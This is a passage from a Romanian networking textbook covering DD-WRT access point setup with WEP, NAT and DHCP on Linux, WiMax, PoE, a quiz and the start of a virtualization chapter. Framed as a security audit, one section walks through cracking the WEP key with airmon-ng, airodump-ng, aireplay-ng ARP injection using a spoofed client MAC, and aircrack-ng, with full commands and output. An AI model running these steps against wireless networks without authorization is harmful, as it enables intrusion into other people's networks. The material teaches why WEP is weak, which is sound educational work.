1 1 6 W 10-18 Topologie scenariu Punctul de acces din topologia din Fig. 10-18 trebuie poziionat n locul cu deschiderea cea mai mare, pentru o acoperire eficient. La proiectarea cldirii, nu s-a prevzut un cablu de internet n acea locaie. Pentru a rezolva problema, unul din calculatoarele ce sunt conectate la internet i au i un adaptor wireless (staia W din figur) va fi conectat la punctul de acces, avnd rol de ruter pentru reeaua wireless. Pe staia W ruleaz un sistem de operare Linux debian-based. Ruterul wireless folosit pe post de AP este marca Linksys i ruleaz, de obicei, un sistem de operare proprietar, configurarea acestuia fiind intuitiv. Pe acest ruter am schimbat sistemul de operare cu unul generic, bazat pe nucleul Linux i care poart numele DD-WRT. Acesta ofer faciliti extinse de configurare, un plus fiind faptul c poate rula pe rutere ale unor productori diferii. Pentru o list a ruterelor suportate, consultai pagina web a DD-WRT [10]. Not: n general, fiecare AP (sau ruter wireless) are propriul sistem de operare, dar toate ofer facilitatea de a fi configurate prin intermediul unei pagini web, fiind foarte intuitiv. Dac suntei familiari conceptelor wireless, nu exist nici o dificultate n a realiza configuraiile pe acestea. Conexiunea wireless va fi criptat folosind standardul WEP. Pentru a putea iniia o conexiune HTTP (nivel 7) la ruterul wireless n vederea configurrii, este nevoie de conectivitate de nivel 3 ntre staie i ruter. Asigurarea legturii de nivel 1 i 2 se poate face prin asocierea cu reeaua implicit wireless prezent pe ruter sau prin folosirea unui cablu crossover pentru conectarea la unul din porturile de LAN. Ruterele wireless ce ruleaz DD-WRT au activat, n mod implicit, un server DHCP ce ofer conectivitatea de nivel 3 prin oferirea unei adrese IP din aceeai subreea cu IP-ul de management al ruterului, folosit pentru accesarea interfeei WEB de configurare. Adresa IP implicit prin care se poate accesa interfaa wireless a ruterelor wireless Linksys este 192.168.1.1.
HQ

AP

358 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e n cazul de fa vom realiza configurrile prin intermediul conexiunii wireless, fcut de pe staia H. Vom scana mediul:
root@H:~# iwlist wlan0 scanning wlan0 Scan completed : Cell 01 - Address: 00:25:9C:42:2E:6B Channel:6 Frequency:2.437 GHz (Channel 6) Quality=65/70 Signal level=-45 dBm Encryption key:off ESSID:"dd-wrt" Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s 24 Mb/s; 36 Mb/s; 54 Mb/s Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s Mode:Master Extra:tsf=0000000038962b49

Dup cum se vede, SSID-ul implicit a DD-WRT este dd-wrt (ESSID:"dd-wrt"). Vom realiza configuraiile permanente necesare conectrii la ruterul wireless:
root@H:~# cat /etc/network/interfaces [...] auto wlan0 iface wlan0 inet dhcp wireless-mode managed wireless-channel 6 wireless-essid dd-wrt root@H:~# ifup wlan0 [...] DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 4 DHCPOFFER from 192.168.1.1 DHCPREQUEST on wlan0 to 255.255.255.255 port 67 DHCPACK from 192.168.1.1 bound to 192.168.1.119 -- renewal in 41055 seconds.

Se observ asocierea i faptul c putem accesa pagina WEB a ruterului (vezi Fig. 10-19):
root@H:~# iwconfig wlan0 wlan0 IEEE 802.11bg ESSID:"dd-wrt" Mode:Managed Frequency:2.437 GHz Access Point: 00:25:9C:42:2E:6B Bit Rate=36 Mb/s Tx-Power=20 dBm Retry long limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=65/70 Signal level=-45 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:39 Missed beacon:0

10-19 Accesarea ruterului printr-o pagin WEB n cazul de fa, ruterul wireless va avea doar rolul unui punct de acces, aadar trebuie s dezactivm serverul de DHCP din fereastra principal Setup, tabul Basic Setup (vezi Fig. 10-20). Pentru a avea n continuare acces la ruter, va trebui s configurm manual un IP din clasa 192.168.1.0/24, pe interfaa cu care ne-am conectat la ruter.
root@H:~# cat /etc/network/interfaces [...] auto wlan0 iface wlan0 inet static wireless-mode managed wireless-channel 6 wireless-essid dd-wrt address 192.168.1.2 netmask 255.255.255.0 root@H:~# ifdown wlan0 [...] root@H:~# ifup wlan0

W i r e l e s s | 359

10-20 Dezactivarea serverului DHCP ATENIE: Pe DD-WRT, la orice configuraie, exist n partea de jos dou butoane: Save i Apply Settings. Butonul Save salveaz configuraia dar aceasta nu se aplic dect n momentul n care ai apsat i Apply Settings. Acest concept e similar cu o configuraie de interfee n Linux. Se salveaz fiierul de configurare, apoi resetai serviciul de reea pentru a fi aplicate noile configuraii. Configurarea WEP, pe ruter, presupune de fapt alegerea lungimii cheii i generarea acesteia dup o parol introdus. Se merge pe meniul Wireless, apoi pe submeniul Wireless Security (Fig. 1021), de unde se alege WEP (nu uitai, dup Save, s apsai Apply):

10-21 Configurare WEP pe ruterul wireless n momentul configurrii ruterului wireless, dac v-ai conectat la acesta prin wireless, vei pierde conectivitatea deoarece acesta a activat modul de securitate WEP, iar pe calculatorul de pe care v-ai conectat nu este setat nici o astfel de politic. Aadar, adugm o directiv fiierului /etc/network/interfaces prin care specificm cheia WEP:
root@H:~# iwconfig wlan0 wlan0 IEEE 802.11bg ESSID:off/any Mode:Managed Frequency:2.437 GHz Access Point: Not-Associated [...] root@H:~# cat /etc/network/interfaces [...] auto wlan0 iface wlan0 inet static wireless-mode managed wireless-channel 6 wireless-essid dd-wrt wireless-key E06460C1D1 address 192.168.1.2 netmask 255.255.255.0 root@H:~# ifdown wlan0 root@H:~# ifup wlan0 root@H:~# iwconfig wlan0 wlan0 IEEE 802.11bg ESSID:"dd-wrt" Mode:Managed Frequency:2.437 GHz Access Point: 00:25:9C:42:2E:6B Bit Rate=11 Mb/s Tx-Power=20 dBm Retry long limit:7 RTS thr:off Fragment thr:off Encryption key:E064-60C1-D1 Power Management:off Link Quality=66/70 Signal level=-44 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0

360 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
Tx excessive retries:0 Invalid misc:38 Missed beacon:0

Dup repornirea serviciului de reea, se obine conectivitate cu suport WEP. Urmtorul pas este s activm rutarea i serviciul de NAT pentru clasa 192.168.1.0/24 pentru tot traficul ce iese pe interfaa eth0 (interfaa dinspre internet), de pe staia H.
root@H:~# echo 1 > /proc/sys/net/ipv4/ip_forward root@H:~# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

n acest moment, oricine se conecteaz la reeaua wireless, folosind parola WEP, va avea acces la internet dup ce se configureaz setrile de nivel 3. Dup cum s-a observat anterior, am dezactivat serverul de DHCP de pe ruterul wireless, iar staia H nu are instalat nici un server de DHCP. Rmne n grija celui care se conecteaz s seteze un IP din clasa 192.168.1.0/24, cu default gateway 192.168.1.2 (adresa IP a staiei H). Pentru a prentmpina acest neajuns, se poate instala un server de DHCP pe staia H.
root@H:~# apt-get install dhcp3-server Reading package lists... Done Building dependency tree Reading state information... Done [...]

Dup instalare se specific interfeele pe care va asculta serviciul de DHCP, n cazul nostru wlan0:
root@H:~# cat /etc/default/dhcp3-server [...] INTERFACES="wlan0"

n continuare trebuie configurat clasa de IP-uri folosit pentru alocare:


root@H:~# cat /etc/default/dhcp3-server subnet 192.168.1.0 netmask 255.255.255.0 { option routers 192.168.1.2; option broadcast-address 192.168.1.254; option domain-name-servers 8.8.8.8; range 192.168.1.100 192.168.1.200; }

Intervalul din care se aloc este din cel specificat de directiva range, default gateway-ul este specficiat prin option routers, iar DNS-urile sunt specificate prin option domain-nameservers. Dup configurare trebuie repornit serviciul de dhcp:
root@H:~# service dhcp3-server restart * Stopping DHCP server dhcpd3 * Starting DHCP server dhcpd3 [ OK ] [ OK ]

Firma ce deine reeaua din topologie a angajat o firm de audit pentru a verifica securitatea reelei. Cei care au venit n audit au observat c securizarea reelei wireless este fcut cu WEP. tiind vulnerabilitile WEP, acetia vor ncerca s compromit reeaua. nainte de a ncepe compromiterea efectiv, trebuie luate n considerare cteva caracteristici pe care WEP le deine. n primul rnd, WEP folosete pentru criptarea datelor un algoritm de criptare simetric denumit RC4, folosind, pentru criptarea i decriptarea datelor, chei pe 40 sau 60 de bii. Cheile sunt cunoscute de AP (Access Point) i de toate nodurile crora li se permite asocierea. IV (Initialization Vector) reprezint un numr pe 24 de bii, generat aleator de fiecare staie ce dorete s transmit i care, mpreun cu cheia partajat, va genera cheia RC4. Acesta este transmis n clar cu fiecare pachet destinaiei. Vulnerabilitatea acestui protocol provine tocmai din folosirea acestor vectori de iniializare. Cu o lungime de numai 24 de bii, ntr-o reea wireless n care exist un trafic susinut, WEP, pn la urm, va folosi aceeai vectori de iniializare pentru diferite pachete. Aceasta rezult n pachete ce au iruri generate de ctre RC4 foarte asemntoare. n concluzie, dac exist destul de multe IV-uri capturate, este posibil aflarea cheii WEP. Captura pachetelor i spargerea cheii WEP se vor realiza cu pachetul aircrack-ng. Acesta se poate instala folosind utilitarul apt n linie de comand, pentru sistemele debian-based. Dac acest pachet nu este disponibil prin managerul de pachete al sistemului de operare, se poate instala direct din surse. Mai multe detalii gsii pe pagina de web a aplicaiei [11].

W i r e l e s s | 361
root@hacker:~# apt-get install aircrack-ng

Pachetul include urmtoarea suit de utilitare: airodump-ng face posibila captura de pachete i implicit de valori IV aircrack-ng folosit pentru analiza capturii de IV-uri si gsirea cheii WEP aireplay-ng acesta este un packet injector. Cu ajutorul su se poate genera trafic la care AP-ul s fie obligat s rspund cu pachete ce include valori IV. airmon-ng modul managed sau adhoc al driverului nu suport captura de pachete fr ca clientul s fie asociat cu un AP. Acest utilitar este o colecie de scripturi ce creeaz o interfa virtual monX, asociat cu interfaa wireless, pe care se pot captura pachetele fr ca intefaa s fie asociat niciunui AP. n scenariul ce urmeaz se va folosi mai nti airodump-ng pentru a captura pachetele din reea ntr-un fiier de pe disc. Fiierul de pe disc va fi salvat implicit n directorul curent i va avea extensia .cap. Asupra acestuia se va aplica aircrack-ng pentru a analiza vectorul de IV i a gsi parola. Mai nti vom seta interfaa n mod Monitor, cu ajutorul lui airmon-ng. Se poate observa c s-a creat o interfa virtual mon0.
root@hacker:~# airmon-ng start wlan0 Interface wlan0 Chipset Atheros Driver ath5k - [phy0] (monitor mode enabled on mon0)

root@hacker:~# iwconfig mon0 mon0 IEEE 802.11bg Mode:Monitor Tx-Power=20 dBm Retry long limit:7 RTS thr:off Fragment thr:off Power Management:on

Odat setat modul Monitor, se poate porni captura de pachete cu airodump-ng. Ca parametri se vor folosi: -t: specific tipul de pachete criptate ce trebuie capturat. Valorile posibile sunt WEP, WPA, WPA2. -b: specific banda n care funcioneaz reeaua wireless. -w: specific numele fiierului n care se va analiza captura. -c: pentru precizarea canalului care va fi scanat. Dac nu se precizeaz canalul, scanarea se va face pe toate canalele. Banda sau canalul pe care reeaua funcioneaz pot fi aflate printr-o scanare simpl cu utilitarul iwlist.
root@hacker:~# airodump-ng -t WEP -b g -c 6 -w capture mon0 CH 6 ][ Elapsed: 7 mins ][ 2012-09-12 11:35 ][ fixed channel mon0: -1 PWR RXQ -60 100 STATION B0:48:7A:D4:31:0E Beacons 4437 PWR -39 #Data, #/s 724 0 CH 6 MB 54e ENC WEP CIPHER AUTH ESSID WEP Probes dd-wrt

BSSID 00:25:9C:42:2E:6B BSSID 00:25:9C:42:2E:6B

Rate 54e-48e

Lost 0

Packets 561

Dei captura de mai sus a fost lsat rulnd 5 minute, se poate observa c numrul de pachete transmis de staia cu adresa MAC B0:48:7A:D4:31:0E a fost doar 561. Pentru a putea sparge o cheie WEP de 128 bii cu o probabilitate de 100% va fi nevoie ca indicatorul de date utile (#Data) s fie cel puin 30000 iar numrul de pachete cel puin la fel de mare. Din pcate, momentan, n reeaua de mai sus nu are loc foarte mult transfer de date. Dei s-ar putea atepta pn cnd activitatea de pe mediu ar fi ceva mai mare, pachetul aircrack-ng ofer o metod mai rapid. Folosind utilitarul aireplay-ng, se pot trimite pachete ARP request la care AP-ul este obligat s rspund. Din pachetele de ARP reply se pot captura IV-urile de care este nevoie. ns AP-ul nu va

362 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e rspunde niciodat la un request ce vine de la o adresa MAC ce nu este asociat reelei. Din acest motiv, pentru ca acest atac s funcioneze, pachetele ARP vor trebui trimise cu un MAC surs pe care AP-ul l cunoate n tabela sa ARP. Una din cele mai importante statistici din rezultatul pe care l ofer comanda airodump-ng este un tabel al staiilor asociate deja la reea ce conine i adresele MAC ale acestor staii. Astfel, se va folosi drept MAC surs unul dintre MAC-urile staiilor obinute anterior. Sintaxa comenzii aireplay-ng este: aireplay-ng -<tipul pachetelor injectate> -b <Adresa MAC a AP-ului> -h <Adresa MAC a unui client asociat> <interfaa de reea>. Tipul pachetelor ARP request este identificat de numrul 3. Pentru mai muli parametri i mai multe tipuri de pachete ce pot fi generate, se va consulta pagina man a utilitarului. Se poate, deci, porni injectarea de pachete astfel:
root@hacker:~# aireplay-ng -3 -b 00:25:9C:42:2E:6B -h B0:48:7A:D4:31:0E mon0

Not: n atacul de mai sus, nu conteaz dac AP-ul are configurat securitate bazat pe filtrare de adrese MAC, cci pentru pachetele ARP se folosete, ca adres surs, o adres deja asociat, nefiltrat. Acum c s-a generat destul trafic, pentru decriptarea pachetelor de date capturate se va folosi utilitarul aircrack-ng, specificndu-i numele fiierului n care s-au salvat datele capturate.
root@hacker:~# aircrack-ng capture.cap Opening capture.cap Read 133594 packets. # 1 BSSID 00:25:9C:42:2E:6B ESSID dd-wrt Encryption WEP (56379 IVs)

Choosing first network as target. Opening capture.cap Attack will be restarted every 5000 captured ivs. Starting PTW attack with 56379 ivs. KEY FOUND! [ E0:64:60:C1:D1 ] Decrypted correctly: 100%

Aadar, s-a demonstrat vulnerabilitatea WEP-ului. Acesta va trebui nlocuit cu WPA2, pentru o mai bun securitate a reelei. Dup terminarea atacului, se recomand oprirea modului Monitor:
root@hacker:~# airmon-ng stop mon0 Interface Chipset Driver

wlan0 Atheros ath5k - [phy0] mon0 Atheros ath5k - [phy0] (removed) root@hacker:~# airmon-ng stop wlan0 Interface Chipset Driver wlan0 Atheros ath5k - [phy0] (monitor mode disabled)

10.8 Studii de caz


n acest capitol s-au prezentat, n general, tehnologiile wireless din reelele locale. Exist implementri i pentru MAN i WAN (vezi Fig. 10-22). n seciunea urmtoare se va descrie o tehnologie nou prezent n MAN: WiMax. O problem important n cazul reelelor wireless este amplasarea echipamentelor. Acestea trebuie puse ct mai aproape de antene, iar antenele n zone cu vizibilitate crescut, de obicei pe cldiri, unde nu exist surse de curent electric. n al doilea studiu de caz se va prezenta o tehnologie ce ajut la rezolvarea problemei curentului electric: PoE.

W i r e l e s s | 363

10-22 Transmisia n spectru mprtiat

10.8.1 WiMax
n reele locale, standardul wireless a fost foarte bine primit de ctre pia, cunoscnd o evoluie constant de-a lungul timpului. Din pcate, lucrurile nu stau deloc la fel n WAN/MAN. n general, se presupune c nu exist implementri de wireless MAN, sau c acestea exist, dar n numr foarte mic. De fapt, exist multe soluii wireless MAN implementate, ns problema este c 95% din acestea sunt proprietare. Funcioneaz cu protocoale dezvoltate intern de ctre firmele ce dein reeaua i, fiindc fiecare companie i dezvolt propriul set de reguli, bineneles c acestea nu pot s funcioneze (comunice) ntre ele. Singurul standard wireless dezvoltat pentru MAN este 802.16e, sau WiMAX (Worldwide Interoperability for Microwave Access). WiMAX se vrea a fi un standard wireless care s lucreze cu mai muli utilizatori la viteze mai bune, acoperind spaii geografice vaste. O conexiune Wireless MAN ofer o lime de band de pn la 70 Mbps n cazul WiMAX. Aria de acoperire a unei staii de baz este de pn la 50 km n mod teoretic. n mediul urban ns, este posibil o acoperire de 2-5 km pentru WiMAX Mobil. Trebuie menionat faptul c vederea direct (LoS Line of Sight) ntre staia de baz i terminal nu este necesar. Dei exist posibilitatea utilizrii unor benzi neliceniate de genul celei de 5GHz, n general se folosesc frecvene liceniate pentru a putea avea control asupra spectrului. Pot fi folosite orice frecvene din intervalul 2-11 GHz (2-6 GHz n cazul WiMAX Mobil), ns instituiile de standardizare recomand folosirea benzilor de 2,3 GHz, 2,5 GHz sau 3,5 GHz pentru a putea avea o interoperabilitate a echipamentelor i, de aici, o scdere a preurilor. Infrastructura WiMAX se bazeaz pe dou componente eseniale: turnuri WiMAX care comunic ntre ele fie printr-o legtur fizic, fie prin microunde de tipul Line of Sight i plci de reea specializare pentru aceast tehnologie, aflate n dispozitivele care se vor conecta la aceast reea. Un avantaj important al WiMAX este faptul c ofer suport pentru calitatea serviciilor (QoS Quality of Service). Astfel, serviciile oferite pot fi garantate clienilor, acest lucru nefiind posibil cu tehnologiile Wireless LAN, unde, mai ales n cazul folosirii benzilor de frecven libere, exist mari probleme cu interferenele.

364 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

10.8.2 PoE (Power over Ethernet)


n implementarea unei reele wireless, amplasarea AP-ului este foarte important. Locul n care se monteaz dispozitivul central al reelei nu ar trebui s depind de nimic altceva n afar de acoperirea ct mai bun a locaiei. ns AP-ul nu este un dispozitiv pasiv, ci are nevoie de alimentare de la reeaua electric pentru a funciona. Din acest motiv, de multe ori AP-ul se instaleaz de fapt acolo unde exist alimentare i nu n locul din care ar oferi acoperire optim. Pentru a rezolva aceast problem, multe din switchurile din prezent ofer PoE (Power over Ethernet). Aceast tehnologie presupune transmiterea de curent electric pe aceleai fire pe care se face i transmisia de date. Ideea nu este una nou, aceasta existnd implementat i n telefonie. Dei tensiunea oferit este doar de 48 V, aceasta este ndeajuns pentru dispozitive precum AP urile sau telefoanele IP. n concluzie, folosind switchuri cu PoE, este de ajuns s se conecteze AP -urile la acestea cu un cablu UTP i acestea vor fi n acelai timp alimentate i conectate la reea. Prima dat standardul a fost scris n 2003, sub denumirea IEEE 802.3af, puterea maxim consumat de un echipament putnd fi de 15.4W. n 2009, a aprut standardul PoE+ (IEEE 802.3at), puterea consumat de echipamentul conectat putnd fi de pn la 25.5W. Dac se dorete i mai mult minimizarea dependenei fa de reeaua electric, se poate conecta un UPS (Uninterruptible power supply dispozitive care, n cazul unei pane de curent, pot oferi energie electric, fr a ntrerupe fluxul de alimentare) la switchul cu PoE, pstrnd astfel conectivitatea wireless n reeaua local i n momentul n care nu exist curent electric.

10.9 Concluzii
Odat cu creterea nevoii de mobilitate i a numrului de dispozitive capabile s transmit date pe calea aerului , reelele wireless au avut o cretere exponenial n ultimii ani. Tehnologiile wireless s-au dezvoltat n principal pentru reelele LAN i WAN. n LAN, tehnologia wireless este folosit n special n interiorul cldirilor pentru a scpa de incomoditatea cablurilor. Wireless nu a fost conceput s nlocuiasc comunicaiile pe cablu. Un bun argument pentru aceast afirmaie este viteza de transmisie: maxim 600Mbps pe wireless i viteze de pn la 100Gbps pe cablu folosind tehnologia Ethernet. Un alt dezavantaj este reprezentat de faptul c wireless este un mediu partajat, astfel viteza oferit se mparte la numrul de clieni existeni n reea. n WAN, tehnologiile prezente sunt folosite de ctre operatorii de telefonie mobil pentru a oferi acces la internet clienilor, indiferent de locaia acestora, folosindu-se aceeai reea ca i cea pentru telefonie. Distana la care funcioneaz o reea wireless variaz n funcie de tehnologia folosit i interferenele prezente n mediul de transmisie (de la surse externe sau de la alte transmisii wireless). n funcie de aceste aspecte, se stabilete i viteza de interconectare a dispozitivelor. Spre deosebire de cablu, unde conexiunea se realizeaz la viteza suportat de echipamentele de la capete ori nu se realizeaz dac este vreo problem cu mediul de transmisie, la wireless viteza conexiunii variaz n funcie de distan i aglomerarea mediului de transmisie. O alt problem important n comunicaiile wireless este securizarea conexiunii. Fiind un mediu partajat, datele pot fi recepionate de oricine ascult pe mediu. Ascunderea SSID-ul sau filtrarea pe baza adresei MAC s-au dovedit ineficiente, de aceea s-au introdus noi metode de securizare (WEP, WPA/WPA2), unele dintre acestea fiind i ele compromise (WEP, WPA). n momentul actual, pentru securizarea unei conexiunii, se recomand folosirea standardului WPA2.

W i r e l e s s | 365

10.9.1 Linux
Comand iwconfig iwlist iwevent iwspy iwpriv airodump-ng aircrack-ng aireplay-ng wpa_passphrase Descriere Configurarea unei plci de reea wireless Scanarea mediului pentru gsirea de reele wireless Raportarea unui eveniment de asociere sau terminare de scanare a mediului Afieaz parametrii de calitate ai unei legturi wireless Modificarea unor parametri specifici unui anumit driver wireless Realizeaz captur pachete de pe un mediu wireless Analizeaz pachetele capturate i gsete cheia WEB Genereaz trafic pe reeaua wireless, cu posibilitatea modificrii adresei MAC surs Genereaz o cheie PSK criptat n funcie de de SSID i cheia WPA partajat

366 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

10.10
1.

ntrebri
Viteza de transmisie n cadrul unei conexiuni wireless: Este foarte mic. Depinde de tehnologia folosit. Este mai mare dect tehnologiile pe cablu. Este aceeai dac numrul de dispozitive din reea crete.

2. Standardul 802.11g este cel mai rapid. / Echipamentele ce respect standardul 802.11a nu sunt folosite deoarece spectrul de frecven folosit este foarte aglomerat. Adevrat / Fals Adevrat / Adevrat Fals / Fals Fals / Adevrat 3. Un productor de echipamente radio a inventat un dispozitiv ce este capabil s transmit la viteze de 100Mbps, ce funcioneaz la frecvena de 3Ghz. Care dintre afirmaii este adevrat? Acestea nu se pot bucura de succes pe scar larg deoarece banda de 3Ghz este liceniat. Acestea vor deveni urmtorul standard de-facto n transmisiile wireless. Nu se pot trimite date la viteza de 100Mbps pe frecvena de 3Ghz. Acest standard exista deja. 4. O persoan i-a cumprat un ruter wireless i a decis s l monteze pe cuptorul cu microunde deoarece acolo avea priza de curent electric i de internet. Care din afirmaii este adevrat? Nu este nici o problem dac este poziionat pe cuptor. Nu este indicat poziionarea lui pe cuptor deoarece transmisia va fi afectat de undele emise de cuptor cnd acesta funcioneaz. Nu este indicat poziionarea lui pe cuptor deoarece priza de curent electric e posibil s nu aib putere instalat pentru ambele dispozitive. Nu este indicat poziionarea lui pe cuptor deoarece poate afecta funcionarea acestuia. 5. Transmisiile wireless nu sunt sigure pentru c: Sunt prezente interferene pe mediul de transmisie. Mediul de transmisie folosit (aerul) este partajat. Nu au fost create mecanisme care s asigure securizarea conexiunilor. Datele circul la viteze foarte mici putnd fi capturate.

W i r e l e s s | 367

10.11

Referine

[1] ANCOM. Accesat la http://www.ancom.org.ro/ [03.09.2012]. [2] Orthogonal Frequency-Division Multiplexing (OFDM). Accesat la http://mobiledevdesign.com/tutorials/ofdm/ [04.09.2012]. [3] Wikipedia contributors (2012). Digital signal processor. Wikipedia, The Free Encyclopedia; 2012 Septembre 4, 8:29 UTC. Accesat la http://en.wikipedia.org/w/index.php?title=Digital_signal_processor&oldid=510726469 [05.09.2012]. [4] IEEE 802.11 (2007). Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) Specifications. IEEE-SA. 2007 June 12. Accesat la http://standards.ieee.org/getieee802/download/802.11-2007.pdf [05.09.2012]. [5] Ramesh Natarajan. The ultimate guide for creating strong passwords. 2008 June 8. Accesat la http://www.thegeekstuff.com/2008/06/the-ultimate-guide-for-creating-strongpasswords/ [05.09.2012]. [6] Airtight Networks. WPA2 Hole196 Vulnerability. Accesat la http://www.airtightnetworks.com/wpa2-hole196 [05.09.2012]. [7] Brinley Ang. NDISwrapper. 2010 November 21, 6:32. Accesat la http://sourceforge.net/apps/mediawiki/ndiswrapper/index.php?title=Main_Page [9] [05.09.2012]. [8] Using Group Policy to Configure Wireless Network Settings. Accesat la http://technet.microsoft.com/en-us/magazine/gg266419.aspx [10.09.2012]. [9] Wikipedia contributors (2012). Beacon Frame. Wikipedia, The Free Encyclopedia; 2012 May 3, 20:24 UTC. Accesat la http://en.wikipedia.org/w/index.php?title=Beacon_frame&oldid=490524312 [10.09.2012]. [10] DD-WRT. Accesat la http://www.dd-wrt.com/site/index [12.09.2012]. [11] Aircrack-NG. Accesat la http://www.aircrack-ng.org/doku.php?id=downloads [12.09.2012].

11 Virtualizarea la nivelul reelei


Ce se nva n acest capitol? Cine sunt Gerald Popek i Robert Goldberg sunt autorii cerinelor de virtualizare cu acelai nume (Popek and Goldberg virtualization requirements). Aceste cerine determin dac arhitectura unui sistem de calcul ofer suport eficient pentru virtualizare. Dezvoltarea continu a tehnologiei n domeniul reelisticii a nsemnat o conectivitate extraordinar pe ntreaga planet i un ansamblu vast de servicii furnizate. O infrastructur de mare vitez n Internet a nsemnat o cerere din ce n ce mai mare pentru resurse (spaiu de stocare, lime de band, servicii) acionnd ca o bucl de feedback pentru evoluia infrastructurii. Aceast evoluie a condus la dou aspecte pe care ne vom baza n cele ce urmeaz. Primul este acela de dezvoltare a infrastructurii i serviciilor de tip cloud i a data center-elor. Serviciile de tip cloud i data centrele au condus la o centralizare a unei cantiti impresionante de putere de procesare, stocare i de conectare ntr-un perimetru restrns sub gestiune unic. Consolidarea acestei puteri s-a realizat prin virtualizare: pe o infrastructur hardware dat, mai multe maini virtuale, flexibile, uor de creat i gestionat, au preluat rolul furnizrii de servicii. Gestiunea mainilor virtuale a nsemnat i gestiunea conectrii dintre acestea, ducnd la apariia de soluii software de conectare ntre maini virtuale (switch-uri virtuale, rutere virtuale). Grupul de administratori ai reelei va lucra att cu dispozitive de reea fizice ct i virtuale. Al doilea aspect este legat de scalabilitate. Cerinele crescnde i diverse pentru infrastructur au depit posibilitile acesteia att din punct de vedere al funcionalitii ct i al managementului. Pentru aceasta au fost proiectate reelele virtuale: reele locale virtuale (Virtual Area Networks VLANs) i reelele private virtuale (Virtual Private Networks VPNs). Acestea permiteau partajarea infrastructurii reelei fizice pentru a oferi funcionalitatea mai multor reele, de data aceasta virtuale. n acelai timp, dezvoltarea infrastructurii a afectat capacitatea de management a acesteia i de utilizare a sa la capacitatea maxim. Numrul mare de echipamente de reea, de dispozitive i legturi face costisitoare administrarea acesteia. n acelai timp, infrastructura i pierde din flexibilitate i din eficien. Apariia dispozitivelor de reea virtuale, pentru interconectarea mainilor virtuale, a augmentat aceste neajunsuri. Soluia rezid n decuplarea prii decizionale (control plane) de cea de procesare (forwarding plane) n cadrul infrastructurii. Partea decizional este abstractizat administratorilor de reea care nu mai sunt preocupai de componenta fizic a infrastructurii, ci doar de stabilirea n mod centralizat i flexibil a principiilor i mecanismelor de funcionare a acesteia. Soluia poart numele de Software Defined Networking (SDN). n cele ce urmeaz vom dezvolta conceptele legate de virtualizarea reelei. Astfel, seciunea 11.2 va fi o prezentare succint a reelelor virtuale, relund noiuni prezentate n capitolele anterioare. Seciunile 11.2, 11.3 i 11.4 sunt destinate dispozitivelor virtuale, folosite n tehnologiile de virtualizare, cu accent pe switch-uri virtuale. Seciunea 11.5 detaliaz principiile i stadiul curent al soluiilor de Software Defined Networking. Noiuni despre reele virtuale i avansuri n reele virtuale Configurarea i folosirea interfeelor i switch-urilor virtuale Utilizarea modulului bridge i a Open vSwitch n Linux Concepte de Software Defined Networking i OpenFlow

V i r t u a l i z a r e a l a n i v e l u l r e e l e i |369

11.1 Reele virtuale


Reelele virtuale au aprut ca urmare a nevoii de scalare a infrastructurii fizice existente pentru noi cerine. Reelele virtuale presupun existena unui overlay peste o infrastructur fizic existent; pe aceeai infrastructur fizic pot coexista mai multe reele, similar virtualizrii sistemelor fizice: pe un server fizic dat pot rula mai multe maini virtuale. Similar mainilor virtuale i tehnologiilor de virtualizare de server, reelele virtualizare ofer avantaje precum consolidarea infrastructurii, flexibilitate i securitate. Consolidarea infrastructurii nseamn c putem folosi ct mai eficient infrastructura existent: pe o reea fizic funcioneaz mai multe reele virtuale (fie locale, fie private) folosind ct mai bine capacitatea reelei. Flexibilitatea nseamn uurina crerii, tergerii i gestionrii unei reele virtuale. Dac o reea fizic presupune conectarea de echipamente fizice, conectare i configurare, o reea virtual presupune doar configurarea echipamentelor de reea, operaie facil prin comparaie. Reeaua virtual poate fi, de asemenea, uor tears, alterat, configurat i gestionat, tot prin configurri pe dispozitivele de reea fr a necesita alterarea infrastructurii fizice. Reelele virtuale ofer, n general, funcionaliti de securitate. Una dintre condiiile importante este asigurarea izolrii comunicaiei n cadrul reelelor virtuale; reelele nu trebuie s interfereze din raiuni de separare a traficului i de confidenialitate. Traficul ntr-o reea privat virtual sau ntr-o reea local virtual trebuie s fie izolat de alte reele. Reelele private virtuale, acionnd n general peste o reea public, folosesc adesea funcionaliti de criptare a traficului pentru asigurarea securitii. Descrierile legate de reele private virtuale i reele locale virtuale sunt realizate, respectiv, n capitolele aferente i nu vom insista. De interes n acest capitol este c soluiile de virtualizare a reelei presupun consolidarea infrastructurii fizice existente prin crearea reelelor virtuale deasupra acesteia, facilitnd gestiunea i configurarea acestora. n ceea ce privete reelele locale virtuale (VLAN-uri), mediul cloud s-a lovit de o limitare a acestora: cei 12 bii folosii pentru identificatorul reelei virtuale (VLAN ID). Acest VLAN ID poate avea 4096 de valori, adic 4096 de reele locale virtuale, lucru care poate fi insuficient n mediul cloud. n mediul cloud, arhitectura este de tip multi-tenant, adic mai muli deintori de maini sau soluii virtuale pe aceeai infrastructur. ntr-o astfel de infrastructur, fiecare utilizator (tenant) are alocat un VLAN pentru izolarea aplicaiilor i traficului, situaie pentru care numrul de 4096 de valori posibile pentru VLAN ID devine insuficient. Pentru a nltura aceast problem, au fost proiectate dou soluii concurente: VXLAN i NVGRE. Ambele sunt tehnologii tinere, aflate nc n faza draft a standardizrii la IETF. Vom prezenta pe fiecare n parte n cele ce urmeaz.

11.1.1 VXLAN
